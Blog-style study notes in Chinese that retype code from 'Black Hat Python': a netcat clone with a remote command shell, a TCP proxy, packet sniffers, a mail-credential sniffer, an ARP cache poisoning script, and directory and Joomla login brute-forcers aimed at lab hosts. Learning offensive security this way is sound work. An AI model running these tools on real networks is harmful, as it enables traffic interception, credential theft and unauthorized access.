本篇文章是学习《Python黑帽子:黑客与渗透测试编程之道》的笔记,会持续地将书上的代码自己敲一遍,从而让自己对Python的安全编程有更多的了解,同时希望各位可以给给建议,不足之处太多了。

第一章——设置Python环境:

Kali Linux的安装就不说了,最近有更新为2017版的可以下载。

确认是否安装了正确的Python版本:

确认是2.7版本的即可。

接着安装Python软件包管理工具easy_install和pip,由于之前安装过了所以显示如下:


接着安装github模块,并进行测试,没啥问题:

接着是安装WingIDE,由于个人使用习惯了使用Sublime Text就不再进行安装了。

关于Sublime Text的安装在之前那篇《Python基础编程与爬虫实现》中说过了,这里就不再多说了。

第二章——网络基础:

TCP客户端:

示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名,SOCK_STREAM参数表示是一个TCP客户端。访问的URL是百度。

#coding=utf-8
import sockettarget_host = "www.baidu.com"
target_port = 80#建立一个socket对象
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#连接客户端
client.connect((target_host,target_port))#发送一些数据
client.send("GET / HTTP/1.1\r\nHost: baidu.com\r\n\r\n")#接收一些数据
response = client.recv(4096)print response

运行结果:

UDP客户端:

与TCP客户端相比,将套接字的类型改为SOCK_DGRAM,然后调用sendto()函数发送数据,因为UDP是无连接的因此不需要调用connect()函数,最后使用recvfrom()函数接收返回的UDP数据包。

#coding=utf-8
import sockettarget_host = "127.0.0.1"
target_port = 1234#建立一个socket对象
client = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)#发送一些数据
client.sendto("This is an UDP client",(target_host,target_port))#接收一些数据
data, addr = client.recvfrom(4096)print data
print addr

运行结果:

TCP服务端:

这里需要先调用bind()函数绑定IP和端口,然后通过调用listen()函数启动监听并将最大连接数设为5。

#!/usr/bin/python
#coding=utf-8
import socket
import threadingbind_ip = "0.0.0.0"
bind_port = 1234server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)server.bind((bind_ip,bind_port))server.listen(5)print '[*] Listening on %s:%d'%(bind_ip,bind_port)#客户处理线程
def handle_client(client_socket):#打印客户端发送得到的消息request = client_socket.recv(1024)print "[*] Received: %s"%request#返回一个数据包client_socket.send("ACK!")client_socket.close()while True:client, addr = server.accept()print "[*] Accepted connection from: %s:%d"%(addr[0],addr[1])#挂起客户端线程,处理传入数据client_handler = threading.Thread(target=handle_client,args=(client,))client_handler.start()

运行结果:

取代netcat:

rstrip() 删除 string 字符串末尾的指定字符(默认为空格)。

subprocess.check_output():父进程等待子进程完成,返回子进程向标准输出的输出结果。

getopt模块是专门处理命令行参数的。

#!/usr/bin/python
#coding=utf-8
import sys
import socket
import getopt
import threading
import subprocess#定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0#使用帮助
def usage():print "BHP Net Tool"  print  print "Usage: bhpnet.py -t target_host - p port"  print "-l --listen              - listen on [host]:[port] for incoming connections"  print "-e --execute=file_to_run -execute the given file upon receiving a connection"  print "-c --command             - initialize a commandshell"  print "-u --upload=destination  - upon receiving connection upload a file and write to [destination]"  print  print  print "Examples:"  print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"  print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"  print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""  print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"  sys.exit(0) def client_sender(buffer):client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:#连接到目标主机client.connect((target,port))if len(buffer):client.send(buffer)while True:#现在等待数据回传recv_len = 1response = ""while recv_len:data = client.recv(4096)recv_len = len(data)response += dataif recv_len < 4096:breakprint response,#等待更多的输入buffer = raw_input("")buffer += "\n"#发送出去client.send(buffer)except:print "[*] Exception! Exiting. "#关闭连接client.close()def server_loop():global target#如果没有定义目标,那么我们监听所有的接口if not len(target):target = "0.0.0.0"server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)server.bind((target,port))server.listen(5)while  True:client_socket, addr = server.accept()#分拆一个线程处理新的客户端client_thread = threading.Thread(target=client_handler,args=(client_socket,))client_thread.start()def run_command(command):#换行command = command.rstrip()#运行命令并将输出返回try:output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)except:output = "Failed to execute command. \r\n"#将输出发送return outputdef client_handler(client_socket):global uploadglobal executeglobal command#检测上传文件if len(upload_destination):#读取所有的字符并写下目标file_buffer = ""#持续读取数据直到没有符合的数据while True:data = client_socket.recv(1024)if not data:breakelse:file_buffer += data#现在我们接收这些数据并将他们写出来try:file_descriptor = open(upload_destination,"wb")file_descriptor.write(file_buffer)file_descriptor.close()#确认文件已经写出来client_socket.send("Successfully saved file to %s\r\n"%upload_destination)except:client_socket.send("Failed to save file to %s\r\n"%upload_destination)#检查命令执行if len(execute):#运行命令output = run_command(execute)client_socket.send(output)#如果需要一个命令行shell,那么我们进入另一个循环if command:while True:#跳出一个窗口client_socket.send("<BHP:#> ")#现在我们接收文件直到发现换行符(enter key)cmd_buffer = ""while "\n" not in cmd_buffer:cmd_buffer += client_socket.recv(1024)#返还命令输出response = run_command(cmd_buffer)#返回响应数据client_socket.send(response)def main():global listenglobal portglobal executeglobal commandglobal upload_destinationglobal targetif not len(sys.argv[1:]):usage()#读取命令行选项try:opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"])except getopt.GetoptError as err:print str(err)usage()for o,a in opts:if o in ("-h","--help"):usage()elif o in ("-l","--listen"):listen = Trueelif o in ("-e","--execute"):execute = aelif o in ("-c","--commandshell"):command = Trueelif o in ("-u","--upload"):upload_destination = aelif o in ("-t","--target"):target = aelif o in ("-p","--port"):port = int(a)else:assert False,"Unhandled Option"#我们是进行监听还是仅从标准输入发送数据?if not listen and len(target) and port > 0 :#从命令行读取内存数据#这里将阻塞,所以不再向标准输入发送数据时发送CTRL-Dbuffer = sys.stdin.read()#发送数据client_sender(buffer)#我们开始监听并准备上传文件、执行命令#放置一个反弹shell#取决于上面的命令行选项if listen:server_loop()main()

这里对程序说明一下:

usage()函数用于参数的说明帮助、当用户输入错误的参数时会输出相应的提示;

client_sender()函数用于与目标主机建立连接并交互数据直到没有更多的数据发送回来,然后等待用户下一步的输入并继续发送和接收数据,直到用户结束脚本运行;

server_loop()函数用于建立监听端口并实现多线程处理新的客户端;

run_command()函数用于执行命令,其中subprocess库提供多种与客户端程序交互的方法;

client_handler()函数用于实现文件上传、命令执行和与shell相关的功能,其中wb标识确保是以二进制的格式写入文件、从而确保上传和写入的二进制文件能够成功执行;

主函数main()中是先读取所有的命令行选项从而设置相应的变量,然后从标准输入中读取数据并通过网络发送数据,若需要交互式地发送数据需要发送CTRL-D以避免从标准输入中读取数据,若检测到listen参数为True则调用server_loop()函数准备处理下一步命令。

运行结果:

1、本地测试:

2、访问百度:

3、客户端Ubuntu访问,可以看到客户端访问时输入命令之后需要多输入一个换行符才可以输入成功从而看到输出结果:

创建一个TCP代理:

    #!/usr/bin/python  #coding=utf-8import socket  import sys  import threading  def server_loop(local_host,local_port,remote_host,remote_port,receive_first):  server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  try:  server.bind((local_host,local_port))  except:  print "[!!] Failed to listen on %s:%d"%(local_host,local_port)  print "[!!] Check for other listening sockets or correct permissions. "  sys.exit(0)  print "[*] Listening on %s:%d"%(local_host,local_port)  server.listen(5)  while True:  client_socket, addr = server.accept()  #  打印出本地连接信息print "[==>] Received incoming connection from %s:%d"%(addr[0],addr[1])  #  开启一个线程与远程主机通信proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first))  proxy_thread.start()  def proxy_handler(client_socket,remote_host,remote_port,receive_first):  #  连接远程主机remote_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  remote_socket.connect((remote_host,remote_port))  #  如果必要从远程主机接收数据if receive_first:  remote_buffer = receive_from(remote_socket)  hexdump(remote_buffer)  #  发送给我们的响应数据remote_buffer = response_handler(remote_buffer)  #  如果我们有数据传递给本地客户端,发送它if len(remote_buffer):  print "[<==] Sending %d bytes to localhost. "%len(remote_buffer)  client_socket.send(remote_buffer)  #  现在我们从本地循环读取数据,发送给远程主机和本地主机while True:  #  从本地读取主机local_buffer = receive_from(client_socket)  if len(local_buffer):  print "[==>] Received %d bytes from localhost. "%len(local_buffer)  hexdump(local_buffer)  #  发送给我们的本地请求local_buffer = request_handler(local_buffer)  #  向远程主机发送数据remote_socket.send(local_buffer)  print "[==>] Sent to remote ."  #  接受响应的数据remote_buffer = receive_from(remote_socket)  if len(remote_buffer):  print "[<==] Received %d bytes from remote . "%len(remote_buffer)  hexdump(remote_buffer)  #  发送到响应处理函数remote_buffer = response_handler(remote_buffer)  #  将响应发送给本地socketclient_socket.send(remote_buffer)  print "[<==] Sent to localhost. "  #  如果两边都没有数据,关闭连接if not len(local_buffer) or not len(remote_buffer):  client_socket.close()  remote_socket.close()  print "[*] No more data. Closing cnnections. "  break  #  十六进制导出函数def hexdump(src,length=16):  result = []  digits = 4 if isinstance(src,unicode) else 2  for i in xrange(0,len(src),length):  s = src[i:i+length]  hexa = b' '.join(["%0*X" % (digits,ord(x)) for x in s])  text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])  result.append( b"%04X  %-*s  %s" % (i,length*(digits + 1),hexa,text))  print b'\n'.join(result)  def receive_from(connection):  buffer = ""  #  我们设置了两秒的超时,这取决于目标的情况,可能需要调整connection.settimeout(2)  try:  #  持续从缓存中读取数据直到没有数据或超时while True:  data = connection.recv(4096)  if not data:  break  buffer += data  except:  pass  return buffer  #  对目标是远程主机的请求进行修改def request_handler(buffer):  #  执行包修改return buffer  #  对目标是本地主机的响应进行修改def response_handler(buffer):  #  执行包修改return buffer  def main():  #  没有华丽的命令行解析if len(sys.argv[1:]) != 5:  print "Usage : ./tcp_agent.py [localhost] [localport] [remotehost] [remoteport] [receive_first] "  print "Example : ./tcp_agent.py 127.0.0.1 9000 10.12.132.1 9000 True"  sys.exit(0)  #  设置本地监听参数local_host = sys.argv[1]  local_port = int(sys.argv[2])  #  设置远程目标remote_host = sys.argv[3]  remote_port = int(sys.argv[4])  #  告诉代理在发送给远程主机之前连接和接收数据receive_first = sys.argv[5]  if "True" in receive_first:  receive_first = True  else:  receive_first = False  #  现在设置好我们的监听socketserver_loop(local_host,local_port,remote_host,remote_port,receive_first)  main()  

这里对每个函数说明一下:

proxy_handler()函数包含了代理的主要逻辑,先检查并确保在启动主循环之前不向建立连接的远程主机主动发送数据,启动循环之后接收本地和远程主机的数据然后再调用相应的函数进行处理之后再转发出去;
hexdump()函数仅输出数据包的十六进制值和可打印的ASCII码字符,对于了解未知的协议很有帮助,还能找到使用明文协议的认证信息等;
receive_from()函数用于接收本地和远程主机的数据,使用socket对象作为参数;
request_handler()和response_handler()函数允许用来修改代理双向的数据流量;
server_loop()函数用于循环以监听并连接请求,当有新的请求到达时会提交给proxy_handler()函数处理,接收每一个比特的数据,然后发送到目标远程主机;
main主函数先读入命令行参数,然后调用服务端的server_loop()函数。
运行结果:

结果可以看到,其实和Wireshark等抓包工具的效果是差不多的。

通过Paramiko使用SSH:

首先需要安装paramiko模块:

这里先进行简单的测试,连接Metasploit2 的主机。

#!/usr/bin/python
import paramiko
import threading
import subprocessdef ssh_command(ip,user,passwd,command):client = paramiko.SSHClient()#client.load_host_keys('/home/justin/.ssh/known_hosts') client.set_missing_host_key_policy(paramiko.AutoAddPolicy())client.connect(ip,username=user,password=passwd)ssh_session = client.get_transport().open_session()if ssh_session.active:ssh_session.exec_command(command)  print ssh_session.recv(1024)returnssh_command('10.10.10.128','msfadmin','msfadmin','uname -a') 

运行结果:

反向SSH:

bh_sshRcmd.py:

后面测试成功再补上

bh_sshserver.py:

后面测试成功再补上

SSH隧道:

后面测试成功再补上

第三章——网络:原始套接字和流量嗅探

Windows和Linux上的包嗅探:

#!/usr/bin/python
import socket
import os#监听的主机
host = "10.10.10.160"#创建原始套接字,然后绑定在公开接口上
if os.name == "nt":socket_protocol = socket.IPPROTO_IP
else:socket_protocol = socket.IPPROTO_ICMPsniffer = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_protocol)sniffer.bind((host,0))#设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)#在Windows平台上,我们需要设置IOCTL以启动混杂模式
if os.name == "nt":sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_ON)#读取单个数据包
print sniffer.recvfrom(65565)#在Windows平台上关闭混杂模式
if os.name == "nt":sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)

运行结果:

解码IP层:

源代码:

#!/usr/bin/python
#coding=utf-8
import socket
import os
import struct
from ctypes import *#监听的主机
host = "10.10.10.160"#IP头定义
class IP(Structure):"""docstring for IP"""_fields_ = [("ihl",          c_ubyte, 4),("version",       c_ubyte, 4),("tos",           c_ubyte),("len",          c_ushort),("id",          c_ushort),("offset",      c_ushort),("ttl",         c_ubyte),("protocol_num", c_ubyte),("sum",          c_ushort),("src",         c_ulong),("dst",          c_ulong)]def __new__(self,socket_buffer=None):return self.from_buffer_copy(socket_buffer)def __init__(self, socket_buffer=None):#协议字段与协议名称对应self.protocol_map = {1:"ICMP",6:"TCP",17:"UDP"}#可读性更强的IP地址self.src_address = socket.inet_ntoa(struct.pack("<L",self.src))self.dst_address = socket.inet_ntoa(struct.pack("<L",self.dst))#协议类型try:self.protocol = self.protocol_map[self.protocol_num]except:self.protocol = str(self.protocol_num)#下面的代码类似于之前的例子
if os.name == "nt":socket_protocol = socket.IPPROTO_IP
else:socket_protocol = socket.IPPROTO_ICMPsniffer = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_protocol)sniffer.bind((host,0))
sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)if os.name == "nt":sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_ON)try:while True:#读取数据包raw_buffer = sniffer.recvfrom(65565)[0]#将缓冲区的前20个字节按IP头进行解析ip_header = IP(raw_buffer[0:20])#输出协议和通信双方IP地址print "Protocol : %s %s -> %s"%(ip_header.protocol,ip_header.src_address,ip_header.dst_address)
#处理CTRL-C
except KeyboardInterrupt:#如果运行在Windows上,关闭混杂模式if os.name == "nt":sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)

运行结果:

Win10上用户有管理员权限执行cmd所以会报错:

XP下将host改为XP地址即可:

Kali下运行会出错,主要是因为32位与64位之间的一些问题:

解决方案:http://stackoverflow.com/questions/29306747/python-sniffing-from-black-hat-python-book

改进的可在Kali中运行的代码:

#!/usr/bin/python
import socket
import os
import struct
from ctypes import *#监听的主机
host = "10.10.10.160"#IP头定义
class IP(Structure):"""docstring for IP"""_fields_ = [("ihl",          c_ubyte, 4),("version",       c_ubyte, 4),("tos",           c_ubyte),("len",          c_ushort),("id",          c_ushort),("offset",      c_ushort),("ttl",         c_ubyte),("protocol_num", c_ubyte),("sum",          c_ushort),("src",         c_uint32),("dst",         c_uint32)]def __new__(self,socket_buffer=None):return self.from_buffer_copy(socket_buffer)def __init__(self, socket_buffer=None):#协议字段与协议名称对应self.protocol_map = {1:"ICMP",6:"TCP",17:"UDP"}#可读性更强的IP地址self.src_address = socket.inet_ntoa(struct.pack("@I",self.src))self.dst_address = socket.inet_ntoa(struct.pack("@I",self.dst))#协议类型try:self.protocol = self.protocol_map[self.protocol_num]except:self.protocol = str(self.protocol_num)#下面的代码类似于之前的例子
if os.name == "nt":socket_protocol = socket.IPPROTO_IP
else:socket_protocol = socket.IPPROTO_ICMPsniffer = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_protocol)sniffer.bind((host,0))
sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)if os.name == "nt":sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_ON)try:while True:#读取数据包raw_buffer = sniffer.recvfrom(65565)[0]#将缓冲区的前20个字节按IP头进行解析ip_header = IP(raw_buffer[0:20])#输出协议和通信双方IP地址print "Protocol : %s %s -> %s"%(ip_header.protocol,ip_header.src_address,ip_header.dst_address)
#处理CTRL-C
except KeyboardInterrupt:#如果运行在Windows上,关闭混杂模式if os.name == "nt":sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)

运行结果:

解码ICMP:

#!/usr/bin/python
#coding=utf-8
import socket
import os
import struct
from ctypes import *host = "10.10.10.160"class IP(Structure):"""docstring for IP"""_fields_ = [("ihl",          c_ubyte, 4),("version",       c_ubyte, 4),("tos",           c_ubyte),("len",          c_ushort),("id",          c_ushort),("offset",      c_ushort),("ttl",         c_ubyte),("protocol_num", c_ubyte),("sum",          c_ushort),("src",         c_ulong),("dst",          c_ulong)]def __new__(self,socket_buffer=None):return self.from_buffer_copy(socket_buffer)def __init__(self, socket_buffer=None):self.protocol_map = {1:"ICMP",6:"TCP",17:"UDP"}self.src_address = socket.inet_ntoa(struct.pack("<L",self.src))self.dst_address = socket.inet_ntoa(struct.pack("<L",self.dst))try:self.protocol = self.protocol_map[self.protocol_num]except:self.protocol = str(self.protocol_num)class ICMP(Structure):"""docstring for ICMP"""_fields_ = [("type",            c_ubyte),("code",         c_ubyte),("checksum",     c_ushort),("unused",      c_ushort),("next_hop_mtu",    c_ushort)]def __new__(self,socket_buffer):return self.from_buffer_copy(socket_buffer)def __new__(self,socket_buffer):passif os.name == "nt":socket_protocol = socket.IPPROTO_IP
else:socket_protocol = socket.IPPROTO_ICMPsniffer = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_protocol)sniffer.bind((host,0))
sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)if os.name == "nt":sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_ON)try:while True:raw_buffer = sniffer.recvfrom(65565)[0]ip_header = IP(raw_buffer[0:20])print "Protocol : %s %s -> %s"%(ip_header.protocol,ip_header.src_address,ip_header.dst_address)#如果为ICMP,进行处理if ip_header.protocol == "ICMP":#计算ICMP包的起始位置offset = ip_header.ihl*4buf = raw_buffer[offset:offset + sizeof(ICMP)]#解析ICMP数据icmp_header = ICMP(buf)print "ICMP -> Type : %d  Code : %d"%(icmp_header.type,icmp_header.code)except KeyboardInterrupt:if os.name == "nt":sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)

但是结果并不能正常解析ICMP,排查的结果是代码中变量buf为None:

这个问题求各位大神给点指点。。。

后面测试成功再补上

第四章——Scapy:网络的掌控者

窃取email认证:

测试代码:

#!/usr/bin/python
#coding=utf-8
from scapy.all import *#数据包回调函数
def packet_callback(packet):print packet.show()#开启嗅探器
sniff(prn=packet_callback,count=1)

运行结果:

mail_sniffer.py:

#!/usr/bin/python
#coding=utf-8
from scapy.all import *#数据包回调函数
def packet_callback(packet):# print packet.show()if packet[TCP].payload:mail_packet = str(packet[TCP].payload)if "user" in mail_packet.lower() or "pass" in mail_packet.lower():print "[*] Server: %s"%packet[IP].dstprint "[*] %s"%packet[TCP].payload#开启嗅探器
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_callback,store=0)

运行结果:

改为嗅探http中账号密码:

运行结果:

利用Scapy进行ARP缓存投毒:

#!/usr/bin/python
#coding=utf-8
from scapy.all import *
import os
import sys
import threading
import signaldef restore_target(gateway_ip,gateway_mac,target_ip,target_mac):#以下代码中调用send函数的方式稍有不同print "[*] Restoring target... "send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)#发送退出信号到主线程os.kill(os.getpid(),signal.SIGINT)def get_mac(ip_address):responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)#返回从响应数据中获取的Mac地址for s,r in responses:return r[Ether].srcreturn Nonedef poison_target(gateway_ip,gateway_mac,target_ip,target_mac):poison_target = ARP()poison_target.op = 2poison_target.psrc = gateway_ippoison_target.pdst = target_ippoison_target.hwdst = target_macpoison_gateway = ARP()poison_gateway.op = 2poison_gateway.psrc = target_ippoison_gateway.pdst = gateway_ippoison_gateway.hwdst = gateway_macprint "[*] Beginning the ARP poison. [CTRL-C to stop]"while True:try:send(poison_target)send(poison_gateway)time.sleep(2)except KeyboardInterrupt:restore_target(gateway_ip,gateway_mac,target_ip,target_mac)print "[*] ARP poison attack finished. "returninterface = "eth0"
target_ip = "10.10.10.134"
gateway_ip = "10.10.10.2"
packet_count = 1000#设置嗅探的网卡
conf.iface = interface#关闭输出
conf.verb = 0print "[*] Setting up %s"%interfacegateway_mac = get_mac(gateway_ip)if gateway_mac is None:print "[!!!] Failed to get gateway MAC.  Exiting. "sys.exit(0)
else:print "[*] Gateway %s is at %s"%(gateway_ip,gateway_mac)target_mac = get_mac(target_ip)if target_mac is None:print "[!!!] Failed to get target MAC.  Exiting. "sys.exit(0)
else:print "[*] Target %s is at %s"%(target_ip,target_mac)#启动ARP投毒攻击
poison_thread = threading.Thread(target=poison_target,args=(gateway_ip,gateway_mac,target_ip,target_mac))
poison_thread.start()try:print "[*] Starting sniffer for %d packets"%packet_countbpf_filter = "ip host %s"%target_ippackets = sniff(count=packet_count,filter=bpf_filter,iface=interface)#将捕获到的数据包输出到文件wrpcap('arper.pcap',packets)#还原网络配置restore_target(gateway_ip,gateway_mac,target_ip,target_mac)except KeyboardInterrupt:#还原网络配置restore_target(gateway_ip,gateway_mac,target_ip,target_mac)sys.exit(0)

对win7进行ARP投毒攻击之前:

进行攻击之后:

可以看到,win7的网关10.10.10.2的Mac地址改为了Kali Linux的Mac地址了,即ARP投毒攻击成功。

处理PCAP文件:

后面测试成功再补上

第五章——Web攻击:

Web的套接字函数库:urllib2

一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好:

#!/usr/bin/python
#coding=utf-8
import urllib2url = "http://www.baidu.com"headers = {}
headers['User-Agent'] = "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"request = urllib2.Request(url,headers=headers)
response = urllib2.urlopen(request)print response.read()
response.close()
# body = urllib2.urlopen("http://www.baidu.com")# print body.read()

运行结果:

放在Python的shell环境中运行:

注意到由于有中文,所以为了避免出现乱码就在调用了read()函数之后再调用decode("utf-8")来进行utf-8的字符解密。

开源Web应用安装:

这里的前提是Web服务器使用的是开源CMS来建站的,而且自己也下载了一套相应的开源代码。

这里使用盾灵的CMS吧,可以直接在网上下载,其界面如图:

接着直接上代码吧:

#!/usr/bin/python
#coding=utf-8
import Queue
import threading
import os
import urllib2threads = 10target = "http://10.10.10.144/dunling"
directory = "/dunling"
filters = [".jpg",".gif",".png",".css"]os.chdir(directory)web_paths = Queue.Queue()for r,d,f in os.walk("."):for files in f:remote_path = "%s/%s"%(r,files)if remote_path.startswith("."):remote_path = remote_path[1:]if os.path.splitext(files)[1] not in filters:web_paths.put(remote_path)def test_remote():while not web_paths.empty():path = web_paths.get()url = "%s%s"%(target,path)request = urllib2.Request(url)try:response = urllib2.urlopen(request)content = response.read()print "[%d] => %s"%(response.code,path)response.close()except urllib2.HTTPError as error:# print "Failed %s"%error.codepassfor i in range(threads):print "Spawning thread : %d"%it = threading.Thread(target=test_remote)t.start()

运行结果:

暴力破解目录和文件位置:

先下载SVNDigger的第三方暴力破解工具的字典:https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/

将其中的all.txt文件放到相应的目录以备调用,这里就和示例一样放到/tmp目录中。

#!/usr/bin/python
#coding=utf-8import urllib2
import threading
import Queue
import urllibthreads = 50
target_url = "http://testphp.vulnweb.com"
wordlist_file = "/tmp/all.txt" # from SVNDigger
resume = None
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"def build_wordlist(wordlist_file):#读入字典文件fd = open(wordlist_file,"rb")raw_words = fd.readlines()fd.close()found_resume = Falsewords = Queue.Queue()for word in raw_words:word = word.rstrip()if resume is not None:if found_resume:words.put(word)else:if word == resume:found_resume = Trueprint "Resuming wordlist from: %s"%resumeelse:words.put(word)return wordsdef dir_bruter(word_queue,extensions=None):while not word_queue.empty():attempt = word_queue.get()attempt_list = []#检测是否有文件扩展名,若没有则就是要暴力破解的路径if "." not in attempt:attempt_list.append("/%s/"%attempt)else:attempt_list.append("/%s"%attempt)#如果我们想暴破扩展if extensions:for extension in extensions:attempt_list.append("/%s%s"%(attempt,extension))#迭代我们要尝试的文件列表for brute in attempt_list:url = "%s%s"%(target_url,urllib.quote(brute))try:headers = {}headers["User-Agent"] = user_agentr = urllib2.Request(url,headers=headers)response = urllib2.urlopen(r)if len(response.read()):print "[%d] => %s"%(response.code,url)except urllib2.URLError, e:if hasattr(e,'code') and e.code != 404:print "!!! %d => %s"%(e.code,url)password_queue = build_wordlist(wordlist_file)
extensions = [".php",".bak",".orig",".inc"]for i in range(threads):t = threading.Thread(target=dir_bruter,args=(word_queue,extensions,))t.start()

运行结果:

暴力破解HTML表格认证:

先下载Joomla,安装后之后到后台登陆页面:

右键查看源代码,分析表单的关键信息:

可以看到,在表单中input标签下代表用户名和密码的变量的名称为username和passwd;在form标签最后的地方有一个长整型的随机字符串,这时Joomla对抗暴力破解技术的关键,会在当前的用户会话中通过存储在cookie中进行检测;登录成功的对比字符串是页面返回的title的内容,即“Administration - Control Panel”。

所以,书上作者也给出了爆破Joomla的流程:

1、检索登录页面,接受所有返回的cookies值;

2、从HTML中获取所有表单元素;

3、在你的字典中设置需要猜测的用户名和密码;

4、发送HTTP POST数据包到登录处理脚本,数据包含所有的HTML表单文件和存储的cookies值;

5、测试是否能登录成功。

代码如下:

#!/usr/bin/python
#coding=utf-8import urllib2
import urllib
import cookielib
import threading
import sys
import Queuefrom HTMLParser import HTMLParser#简要设置
user_thread = 10
username = "admin"
wordlist_file = "/tmp/passwd.txt"
resume = None#特定目标设置
target_url = "http://10.10.10.144/Joomla/administrator/index.php"
target_post = "http://10.10.10.144/Joomla/administrator/index.php"username_field = "username"
password_field = "passwd"success_check = "Administration - Control Panel"class Bruter(object):"""docstring for Bruter"""def __init__(self, username, words):self.username = usernameself.password_q = wordsself.found = Falseprint "Finished setting up for: %s"%usernamedef run_bruteforce(self):for i in range(user_thread):t = threading.Thread(target=self.web_bruter)t.start()def web_bruter(self):while not self.password_q.empty() and not self.found:brute = self.password_q.get().rstrip()jar = cookielib.FileCookieJar("cookies")opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))response = opener.open(target_url)page = response.read()print "Trying: %s : %s (%d left)"%(self.username,brute,self.password_q.qsize())#解析隐藏区域parser = BruteParser()parser.feed(page)post_tags = parser.tag_results#添加我们的用户名和密码区域post_tags[username_field] = self.usernamepost_tags[password_field] = brutelogin_data = urllib.urlencode(post_tags)login_response = opener.open(target_post,login_data)login_result = login_response.read()if success_check in login_result:self.found = Trueprint "[*] Bruteforce successful. "print "[*] Username: %s"%self.usernameprint "[*] Password: %s"%bruteprint "[*] Waiting for other threads to exit ... "class BruteParser(HTMLParser):"""docstring for BruteParser"""def __init__(self):HTMLParser.__init__(self)self.tag_results = {}def handle_starttag(self,tag,attrs):if tag == "input":tag_name = Nonetag_value = Nonefor name,value in attrs:if name == "name":tag_name = valueif name == "value":tag_value = valueif tag_name is not None:self.tag_results[tag_name] = valuedef build_wordlist(wordlist_file):fd = open(wordlist_file,"rb")raw_words = fd.readlines()fd.close()found_resume = Falsewords = Queue.Queue()for word in raw_words:word = word.rstrip()if resume is not None:if found_resume:words.put(word)else:if word == resume:found_resume = Trueprint "Resuming wordlist from: %s"%resumeelse:words.put(word)return wordswords = build_wordlist(wordlist_file)brute_obj = Bruter(username,words)
brute_obj.run_bruteforce()

这里主要导入cookielib库,调用其FileCookieJar()函数来将cookie值存储在cookies文件中,并通过urllib2库的HTTPCookieProcessor()函数来进行cookie处理再返回给urllib2库的build_opener()函数创建自定义opener对象使之具有支持cookie的功能。

运行结果:

第六章——扩展Burp代理:

下载jython,在Burpsuite的扩展中配置jython路径:

Burp模糊测试:

#!/usr/bin/python
#coding=utf-8# 导入三个类,其中IBurpExtender类是编写扩展工具必须的类,后两个是创建Intruder载荷生成器导入的类
from burp import IBurpExtender
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadGeneratorfrom java.util import List,ArrayListimport random#自定义BurpExtender类,继承和扩展IBurpExtender和IIntruderPayloadGeneratorFactory类
class BurpExtender(IBurpExtender,IIntruderPayloadGeneratorFactory):"""docstring for BurpExtender"""def registerExtenderCallbacks(self, callbacks):self._callbacks = callbacksself._helpers = callbacks.getHelpers()#用registerIntruderPayloadGeneratorFactory函数注册BurpExtender类,这样Intruder才能生成攻击载荷callbacks.registerIntruderPayloadGeneratorFactory(self)return#返回载荷生成器的名称def getGeneratorName(self):return "BHP Payload Generator"#接受攻击相关参数,返回IIntruderPayloadGenerator类型的实例def createNewInstance(self,attack):return BHPFuzzer(self,attack)# 定义BHPFuzzer类,扩展了IIntruderPayloadGenerator类
# 增加两个变量类max_payload(最大的payload), num_iterations(迭代次数),用于控制模糊测试的次数
